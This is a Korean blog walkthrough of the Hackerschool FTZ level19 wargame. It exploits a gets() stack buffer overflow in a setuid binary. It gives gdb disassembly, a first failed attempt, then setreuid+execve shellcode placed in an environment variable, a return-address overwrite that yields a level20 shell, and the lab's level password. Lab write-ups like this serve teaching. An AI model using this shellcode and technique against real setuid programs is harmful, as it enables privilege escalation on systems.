본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level19 -> level20 ) by ORANG

FTZ_level19

 

 [level19@ftz level19]$ bash2

[level19@ftz level19]$ cat hint



main()

{ char buf[20];

  gets(buf);

  printf("%s\n",buf);

}

 

 

 

bash2 띄우고~ hint를 보겠습니다.

level18 문제 보다가 이걸 보니 참 좋네요ㅋㅋㅋ

너무 간단한 BOF문제네요 자세히 보면 setreuid 함수가 없는게 약간의 문제인 것 같네요

하지만 권한을 살펴보면 당연히 setuid가 걸려있습니다

 [level19@ftz level19]$ ls -l attackme

-rwsr-x---    1 level20  level19     13615  3월   2003 attackme

 

이럴땐 간단하게, setuid + bash셸을 실행하는 셸코드를 작성하면 됩니다.

셸코드 작성에 대해 궁금하신 분은 ‘셸코드 만드는법’을 봐주세요

System Hacking 카테고리 첫번째 글입니다ㅎㅎ

 

gdb를 이용해 분석하고 메모리 구조를 그려보겠습니다~

 (gdb) disas main

Dump of assembler code for function main:

0x08048440 <main+0>: push   %ebp

0x08048441 <main+1>: mov    %esp,%ebp

0x08048443 <main+3>: sub    $0x28,%esp

0x08048446 <main+6>: sub    $0xc,%esp

0x08048449 <main+9>: lea    0xffffffd8(%ebp),%eax

0x0804844c <main+12>: push   %eax

0x0804844d <main+13>: call   0x80482f4 <gets>

0x08048452 <main+18>: add    $0x10,%esp

0x08048455 <main+21>: sub    $0x8,%esp

0x08048458 <main+24>: lea    0xffffffd8(%ebp),%eax

0x0804845b <main+27>: push   %eax

0x0804845c <main+28>: push   $0x80484d8

0x08048461 <main+33>: call   0x8048324 <printf>

0x08048466 <main+38>: add    $0x10,%esp

0x08048469 <main+41>: leave

0x0804846a <main+42>: ret

 

RET [4]

SFP [4]

dummy [20]

buf [20]

 

main+3을보면 40바이트의 메모리를 확보하는게 보이네요

40바이트 + 4바이트 (SFP부분) -> 셸코드를 쓸 수 있는 부분이 되겠네요

쓸 수 있는 메모리가 적을 때는 환경변수를 이용하는게 효율적입니다

제가 만든 셸코드는 41바이트 이므로.. 넉넉하진 않지만 일단 시도해보겠습니다ㅎㅎ

공격을 시작하기 전에, buf의 시작 주소를 찾아보겠습니다!!

 

 (gdb) b * main+18

Breakpoint 1 at 0x8048452

(gdb) r

Starting program: /home/level19/tmp/attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Breakpoint 1, 0x08048452 in main ()

(gdb) x/40x $esp

0xbfffdcc0: 0xbfffdcd0 0x42130a14 0xbfffdce8 0x08048421

0xbfffdcd0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdce0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdcf0: 0x4200af00 0x42130a14 0xbfffdd18 0x42015574

0xbfffdd00: 0x00000001 0xbfffdd44 0xbfffdd4c 0x4001582c

0xbfffdd10: 0x00000001 0x08048340 0x00000000 0x08048361

0xbfffdd20: 0x08048440 0x00000001 0xbfffdd44 0x080482bc

 

buf의 시작 주소는 0xbfffdcd0 이네요

필요한 정보는 다 얻었으니 공격을 시작해보겠습니다.

 

 [level19@ftz level19]$ while  [ 1 ]; do (perl -e 'print "\x90"x3,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\xd0\xdc\xff\xbf"';cat) | ./attackme; done


1육1????????F??1??h//shh/bin??S????

                                   ??????


세그멘테이션 오류


1육1????????F??1??h//shh/bin??S????

                                   ??????


잘못된 명령어


1육1????????F??1??h//shh/bin??S????

                                   ??????


세그멘테이션 오류


1육1????????F??1??h//shh/bin??S????

                                   ??????


…생략…

 

저번처럼 충분한 시도를 하지않아 실패한걸로 착각하지 않게.. 많은 시도를 했지만 실패했습니다ㅠㅠ

아마도 gdb상에서 나타나는 메모리와 실제 메모리가 나는 오차를 nop으로 충분히 줄여줘야 하는데 셸코드의 크기가 커졌으므로, nop을 3개밖에 넣지 못했기 때문에 실패한것 같습니다ㅠㅠ

 

어쩔 수 없이 환경변수로 뚫어보겠습니다.

setreuid함수가 추가된 셸코드를 환경변수로 띄우고, 주소를 잡아내는 소스를 코딩해보겠습니다.

 

 [level19@ftz tmp]$ export ORANG=`perl -e 'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level19@ftz tmp]$ echo $ORANG

1육1????????F??1??h//shh/bin??S????

                                   ??

 

 

 

nop을 200개나 넣어주었습니다!!ㅎㅎ 환경변수에 제대로 올라간 것 같군요

주소를 찾아내겠습니다.

 

 [level19@ftz tmp]$ cat getenv.c

int main(void)

{

printf("ORANG's Addr -> 0x%x\n", getenv("ORANG"));

}

[level19@ftz tmp]$ gcc getenv.c -o getenv

[level19@ftz tmp]$ ./getenv

ORANG's Addr -> 0xbffffe41

 

0xbffffe41에 있네요!! 다시 공격해보겠습니다


 [level19@ftz level19]$ (perl -e 'print "A"x44,"\x51\xfe\xff\xbf"';cat) | ./attackme


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ????


id

uid=3100(level20) gid=3099(level19) groups=3099(level19)

my-pass

TERM environment variable not set.


Level20 Password is "we are just regular guys".

 

 

오차를 더 줄이기위해 0xbffffe51로 공격했습니다ㅎㅎ

역시 환경변수를 이용하면 쉽고 깔끔하네요!!